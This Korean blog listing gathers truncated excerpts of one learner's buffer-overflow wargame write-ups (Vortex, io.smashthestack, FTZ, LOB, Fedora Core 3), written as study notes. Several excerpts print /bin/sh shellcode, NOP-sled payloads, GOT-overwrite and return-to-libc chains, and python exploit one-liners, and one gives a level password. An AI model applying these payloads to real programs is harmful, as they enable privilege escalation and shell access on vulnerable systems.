systemhacking/practice 25

overthewire vortex 0~

0~1vortex.labs.overthewire.org에 5842로 접속하면 4개의 unsiged int를 주는데, 이걸 받아서 합한 후 다시 재전송해라. vortex는 32bit머신이다. # -*- encoding: cp949 -*- import socket, struct, itertools, operator s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('vortex.labs.overthewire.org',5842)) sum = reduce(operator.add,map(lambda x:struct.unpack('I',x)[0],[s.recv(4) for i in range(4)])) s.sendall(struct.pack('I',s..

fedoracore 3 evil_wizard->dark_stone

http://turtle1000.tistory.com/69 참조앞의 hell_fire->evil_wizard문제와 비슷하지만 // buffer cleaning memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000); 라는 코드때문에 버퍼의 제약이 있다. got에 쓰는걸 잘못 활용하면 data로 값이 넘어가게되는데 위의 코드로 인해 버퍼가 초기화되서 제대로 실행이 안 될수도 있다고 함. 그래서 | buf(268) | +| strcpy@plt | ppr | bss+4[0] | system[0] | +| strcpy@plt | ppr | bss+4[1] | system[1] | +| strcpy@plt | ppr | bss+4[2] | system[2] | +| strcpy@plt |..

fedoracore 3 hell_fire->evil_wizard

http://turtle1000.tistory.com/68http://k1rha.tistory.com/entry/LOB-Fedora-BOF-GOT-overwrite-hellfire-evilwizard 를 참고. | buf(268) | +| strcpy@plt | ppr | printf@got+0 | system[0] | +| strcpy@plt | ppr | printf@got+1 | system[1] | +| strcpy@plt | ppr | printf@got+2 | system[2] | +| strcpy@plt | ppr | printf@got+3 | system[3] | +| printf@plt | AAAA | &/bin/sh | ppr 가젯을 사용하는 이유는 맨 마지막에 다시 씀. 그냥 저렇게 ..

fedoracore 3 dark_eyes->hell_fire

http://smleenull.tistory.com/309 에 설명이 잘되있음. 왜 do_system을 gate에서 쓰면 안되는지는 여기에 또 잘 나와있음 http://sanguine.leaveret.kr/3 do_system을 이용하면 쉽다고 하는데, do_system은 system함수에서 내부적으로 호출하는 함수라고 함. 사진을 살펴보면 0x750809에서 do_system함수를 호출한다. system함수 내부에서 execve를 호출한다는건 알고 있다. 근데 이 execve는 do_system함수 내부에서 호출된다. do_system내부의 0x7507ad에서 execve가 호출되는걸 알수 있다. 그런데 execve가 호출되기 이전에0x750784주소에서 인자들이 세팅되는데, http://sanguin..

fedoracore 3 iron_golem->dark_eyes

http://inhack.org/wordpress/?p=2975을 보고 했는데 이해가 안간다. execve를 쓰며, ret을 3번 덮어씌워서 execve의 위치를 조금 뒤로 바꾼 후, 인자를 구성하는데, execve의 위치를 바꾸는건 인자 구성을 위해서이다. 위 주소에 링크된대로 그대로 실험해봤다. ret에 브레이크포인트를 걸고, 인자로 아무거나 넣고 실행했다.ret에서 멈춰있으며(현재 0xfeee7c1c), execve를 실행시키기 위해서는 세번째 인자가 0이여야 한다.http://rosaria1113.blog.me/200745432 참조. 거기에 스택의 주소가 랜덤하게 바뀌므로 ret뒤의 주소중에서 3번째 자리가 0x0000000인 널값이면서, 계속 재실행시 주소의 위치가 바뀌지 않는 곳이어야 한다...

fedoracore 3 gate->iron_golem

http://turtle1000.tistory.com/60 를 보면서 풀고있다.앞에 적어놨던 기법들때문에 스택에 코드를올려서 리턴주소를 변경해주는걸로는 공격이 불가하다.got를 이용해 인자를 전달하고, execl함수로 실행이 가능하다고 한다. execl함수 예제.#include int main(){ execl("/bin/ls","ls","-l",NULL); return 0;} | ebp(4) | ret(execl 함수) | new ret(4) | 인자1 | 인자2 | 인자3 | 이런식인데,ebp에는 인자1의 위치-8의 주소, ret에는 execl함수의 주소+3을 넣어주면 된다고 한다. execl함수의 주소+3을 집어넣는 이유는, execl주소+1과 +2에는 첫 시작인 push ebp; move ebp, ..

io.smash the stack 1~5

http://io.smashthestack.org/ level 01 : 숫자 3개를 입력하라고 한다. 근데 틀리면 아무런 반응이 없다. gdb로 연 결과 매우 간단한 어셈블리어가 보인다. fscanf로 입력받은 후 0x0804808f : cmp $0x10f,%eax에서 10f와 비교하는것 같다.... 10f는 10진수로 271이다. 271을 입력해주면 답.3ywr07ZFw5IsdKzU level 02 : 소스코드를 볼 수 있다고 해서 봤는데 시그널이 있다. 해당 시그널을 발생시켜야 쉘이 실행되는데, 시그널이 어떤건지 모르겠다. 찾아봤더니 The SIGFPE signal reports a fatal arithmetic error.라고 나와있다. 치명적인 산술 에러 발생시 저 시그널이 나온다고 한다. 그러면..

bof xavius->death_knight

바로 앞장에서 리버스 커넥스 쉘코드 만드는건 써놨고, http://qkqhxla1.tistory.com/251 http://w007.tistory.com/entry/LOB-xavius-deathknight를 참조해서 되는 코드는 만들었는데 이게 왜 되는지는 연구를 해봐야겠다. 왜 ret를 알수 없어서 브루트포싱해야한다는말인지 모르겠다. 이곳저곳 찾아보며 단서를 얻어본 결과 gdb로 실행할수 없어서 그런듯 싶다. # -*- encoding: cp949 -*- import socket buf = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x5..

lob nightmare->xavius

참고1 : http://turtle1000.tistory.com/56참고2 : http://blog.naver.com/rkwhr415/220141437295 fgets의 stdin은 임시 버퍼가 있다고 한다. 그 임시 버퍼에 쉘코드를 넣어서 리턴주소를 거기로 바꿔주면 된다.임시 버퍼의 주소는 fgets함수를 호출하기 전의 push를 보면 있다고 한다.원래의 소스로 xaviu1이라는 실행파일을 만든 후 gdb로 돌려보면. mov 0x8048a3c %eax 후push eax를 하는데, 여기서 eax가 임시버퍼가 들어있으며 0x8048a3c 내부에 임시버퍼가 있다.b *main+26으로 fgets바로 다음에 브레이크포인트를 걸고 살펴보자. 실행후 aaaaaaaa를 입력하면 브레이크포인트에서 멈춰있는데, 여기서..

lob succubus->nightmare

argv[1]에 입력한 값을 잘 변조해서 쉘이 실행되게끔 하면 된다.strcpy(buffer, argv[1]); 이다.system함수+아무거나4개(system함수의 ret)+/bin/sh주소+아무거나32개+ret는 strcpy함수의 주소로 덮어씌운 후+아무거나 4개(strcpy함수의 ret)+바로 앞의 strcpy함수의 ret주소+system함수의 주소를 넣은곳의 주소 처럼 넣게되면 buffer에는 system함수와 그 인자로 알아서 채워질테고, ret이 strcpy함수로 변조되므로 strcpy함수가 실행된다. strcpy(dst, src)처럼 뒤의 내용을 앞으로 복사하므로, dst에는 strcpy함수의 ret주소, 앞에는 system함수가 들어간 곳의 주소(버퍼 시작 주소)가 들어가게 될테고, strc..

lob zombie_assassin->succubus

succubus.c를 열어보면 특이점이 있다. 여태까지 썼던 dumpcode가 헤더파일 형태로 소스코드에 그냥 박혀있다.일단 succubu1.c로 복사 후 맨 끝에 dumpcode(buffer,500);을 추가 후 succubu1로 컴파일해보자.함수를 살펴보면 DO GYE GUL YUT MO순서로 간 후 MO함수에 /bin/sh라는 문자열을 전달해주면 된다.(받은 인자로 system함수를 실행한다.)환경변수, 라이브러리가 다 사용 금지이므로 리턴주소를 각 함수의 주소로 덮어씌운 후 /bin/sh라는 문자열을 내가 직접 넣고, 그 문자열의 주소값을 가리키도록 MO함수의 인자자리에 넣으면 될것이다. nm이라는 명령어가 있는데 오브젝트 파일의 심볼들을 확인하는명령어라고 한다. ( http://s2kiess.b..

lob assassin->zombie_assassin (fake ebp)

fake ebp라는 기법을 이용하라고 한다. 관련 자료 : http://s2kiess.blog.me/220035160416, http://1tchy.tistory.com/entry/fake-ebp, http://zer0day.tistory.com/172 헷갈려서 문서를 여러개를 보면서 이해를 했다. 버퍼 뒤에 ebp, ret가 있는데, ebp를 변조해서 내가 원하는 곳을 ebp로 만들수 있다는게 요지이다. 원본 소스를 아무 코드도 추가하지 않고 zombie_assassi1.c로 복사후 zombie_assassi1로 컴파일한다.(dumpcode를 넣었을시 공격에 필요한 주소가 바뀌어서 그냥 원본 소스코드로 분석하고 진행.) 일단 원리를 설명하자면 ret에 leave주소를 넣어서 한번 더 참조하도록 하는게 ..

lob giant->assassin

assassin.c를 assassi1.c로 복사 후, dumpcode를 넣고 memset이후에 출력하도록 한 후 assassi1로 컴파일한다.ret에만 브레이크포인트를 걸고 gdb로 살펴보면 로 ret이 0x8048780위치로 나온다. ret에 브레이크포인트를 걸고, 인자로 a 48개를 주고 실행해보자.(ret까지 덮어씌운다.) 덮어씌워진 ret가 보이며 esp에 ret의 주소가 aaaa로 덮어씌워진걸 확인할수있다. 그런데 esp에 aaaa대신 ret주소를 한번 더 넣으면 ret을 한번 더 참조하게 된다고 한다. 왜냐하면 ret은 어셈블리어로 pop eip, jmp ip이다. 그러므로 eip의 주소를 덮어씌워주면 jmp eip로 인해 eip로 가기 때문이다. 아마도 저 주소가 현재 ret의 주소라서 그런..

lob bugbear->giant (rtl2)

execve를 활용하라고 한다. execve 예제소스. #include #include int main(){ char *argv[] = {"/bin/sh",0}; execve("/bin/sh",argv,0); return 0;} 이런식으로 실행이 된다. 즉 공격시 ret ret + 4(execve의 ret) execve의 첫번째인자 두번째인자 세번째인자 execve함수의 주소. 아무값. /bin/sh 문자열의 주소 두번 참조한 /bin/sh의 주소. 0 여기서 주목할 부분은 execve의 두번째 인자이다. 두번째 인자는 두번 참조한 /bin/sh의 문자열 주소인데, 두번 참조하는 이유는 위의 소스에서 보면 알수 있듯이, argv가 char *argv[]로 선언되었기 때문이다. 이제 이게 기본이고, exe..

lob darkknight->bugbear

http://turtle1000.tistory.com/49 참조 RTL공격을 해야한다고 한다. 모든 프로그램 내부에는 system함수가 있고, 이 system함수를 찾으려면 gdb로 해당 파일을 열어서 p system이나, disas system으로 시작주소를 찾으면 그게 시스템함수 주소이다. 처럼 찾았다. bugbea1.c는 bugbear.c를 cp로 복사한거고 bugbea1은 그걸 컴파일한거다. 시스템함수의 주소는 0x40058ae0이다. 이제 시스템함수에 /bin/sh라는 문자열을 넣으면 된다. 위에 링크를 걸어놓은 곳의 페이지 주인과 동일하게 소스를 짰다. system함수는 내부적으로 execve를 실행시키고, 이건 내부의 /bin/sh를 통해서 하는거므로 /bin/sh가 내부에 반드시 있다고 한..

lob golem->darkknight (1바이트변조)

소스를 보면 strncpy로 1바이트만 변조 가능하다. (참조 http://turtle1000.tistory.com/47)여기서는 어셈블리어 leave와 ret에 대해서 알아야 한다고 한다.#include int main(){ printf("Hello world\n"); return 0;}와 같이 간단한 프로그램을 만들고 컴파일한다. 이 파일을 gdb로 열고, 브레이크 포인트를각각 leave,ret에 잡는다. 잡고 실행을 해서 leave와 ret의 동작을 알아보자. r `python -c 'print "A"*40+"\x40"'`와 같이 실행해서, 40개를 아무거나 채워넣고, 변조하려는 부분을 \x40으로 채워넣고 실행해보면첫번째 브레이크포인트에서 걸리는데, 간단한 hello world만을 출력한 프로그램..

lob skeleton->goelm (LD_PRELOAD)

태국이가 쓴 LD_PRELOAD문서. 비슷한 관련 문서가 없으면 진짜 상당히 좋다고 생각한다. 초보자인 내가 보는데 이해가 잘된다!! 처음 보면 두번 이상 읽어서 완벽히 이해하기. 풀이는 http://turtle1000.tistory.com/46가 잘해놓음. 문서를 봤으면 동적으로 내가 LD_PRELOAD로 원래 있는 함수를 추가하면 원래의 함수가 실행되지 않고 LD_PRELOAD에 있는 함수가 실행된다. 예로 stdio.h 헤더파일에 printf함수가 있는데, 내가 정의한 printf함수를 LD_PRELOAD에 올려놓으면 stdio.h헤더파일이 있어도 내가 정의한 printf함수를 실행하게 된다. 하지만 setuid가 걸린 파일에서는 안된다고 한다. 만약 되면 setuid가 걸린 파일 내부의 함수중 아..

lob vampire->skeleton

cp skeleton.c skeleto1.c로 복사 후 복사한 파일에 dumpcode를 넣고, exit되는 부분은 다 주석처리 후 맨 아래에 dumpcode(buffer,2000);을 넣고 실행해보면 원래 skeleton.c소스에는 argc만큼 다 돌아가면서 argv부분을 전부 다 무력화시켜버리는데 dumpcode로 확인해보면 맨 아래에 실행파일 이름인 ./skeleto1이 남아있다.(결국 원래의 argv[0]말고 스택의 맨 아래에 하나 더 있다는 소리.) 그러면 여기를 공략하기위해 링크를 쉘코드로 건다. 안전을 기하기 위해 앞뒤로 nop을 100개씩 채워주자. 근데 위의 사진에서도 확인할수 있듯이 원래 써왔던 쉘코드인 \x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2..

lob orge->troll

1. argv[1],argv[2]가 막혀있으므로 argv[0]으로 공격.링크를 이용한 공격시 \x2f('/')가 들어가면 원래 존재하는 디렉터리가 아닌 이상 링크를 안시킨다고함. 그러므로 쉘코드에 \x2f는 사용금지, 그래서 다형성 쉘코드(쉘코드 변형된거)를 사용한다고함. 2. gcc -o trol1 trol1.cln trol1 troll123`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\x..

lob darkelf->orge

argv[0]의 길이가 77자여야된다는 조건이 추가됬는데 링크로 해결가능하다고 한다.링크로 파일을 만들때는 75글자여야한다.(맨앞의 ./포함해서 77자라네요.)일단 예시로 75글자짜리 파일 아무거나 하나 만든다.ex) gcc org1.c -o `python -c 'print "a"*75'`그리고 이걸 이용해서./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\x..

lob wolfman->darkelf

여기서는 이것저것 풀이를 살펴보니 거의다 argv[2]를 이용했다. 근데 삽질을 통해서 argv[1]로도 된다는걸 확인했다. argv[1]이용시 공격 주소 알아내기.(반드시 실제 공격에 사용할 코드 길이로 시험할 것) 끝부분만 "\xbf\xbf\xbf\xbf"에서 "\x3d\xfc\xff\xbf"로 바꿔주면 성공 argv[2]이용시. 중간에 "\xbf~"부분만 "\x54\xfc\xff\xbf"로 바꿔주면된다. 둘다 잘되는거 확인. bof에서 argv이용하는법 기억해두기!

lob goblin->orc

http://turtle1000.tistory.com/39 참조중. dumpcode받아서 buffer변수의 주소값 알아냄. 주의점. buffer변수의 주소값은 들어오는 인자의 길이에 따라서 변한다. 1~할당되는 0x2c사이, 2c를 넘어간 값의 인자 갯수를 대입할때마다 주소값이 다르다.(초보라 왜 그런지는 모르겠음.) 또 실행되는 프로그램이름 argv[0]의 길이가 다르면 buffer변수의 주소값이 달라지므로(삽질의 결과) 예시로 만들 프로그램이름 길이를 공격해야할 orc인 3글자로 맞춰주고, 들어가는 인자 길이도 실제 공격할 길이인 48글자를 넣어서 버퍼의 주소를 알아냄. 0xbffffae0가 뜬다. ./orc `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f..

lob gate->gremlin

1. 소스코드 보고 strcpy 취약점 확인. buffer크기는 256확인. 2. gdb -q gremlindisas main으로 할당된 스택크기 확인(0x100)이므로 정확히 256할당됨. gcc버전 2.96이하에서는 dummy가 붙지않는다함.) buffer sfp ret 256 4 4 3. 앞에 적어놓은 쉘코드 제작방법으로 쉘코드 제작. 4. export shell=`python -c 'print "\x90"*30+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`등으로 쉘코드를 환경변수 shell에 등록 (앞에붙는 nop30개는 오차 수정하기 위해서 붙인듯. 실험해..

ftz level9,11

커널버전2.4.20-8 1. tmp디렉터리에 동일한 프로그램을 짜봐서 스택 사이의 dummy크기 계산 (6) 2. gdb로 프로그램을 열어봐 처음 할당 크기 확인 (0x28) 3. 변수들의 위치와 스택에서의 할당 크기, dummy크기로 ret주소 추측 #include #include #include main() { char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); printf("&buf=%#x, &buf2=%#x\n",buf,buf2); if ( strncmp(buf2,"go",2) == 0) { printf("Good Skill"); setreuid(3010,3010); system("/bin/bash")..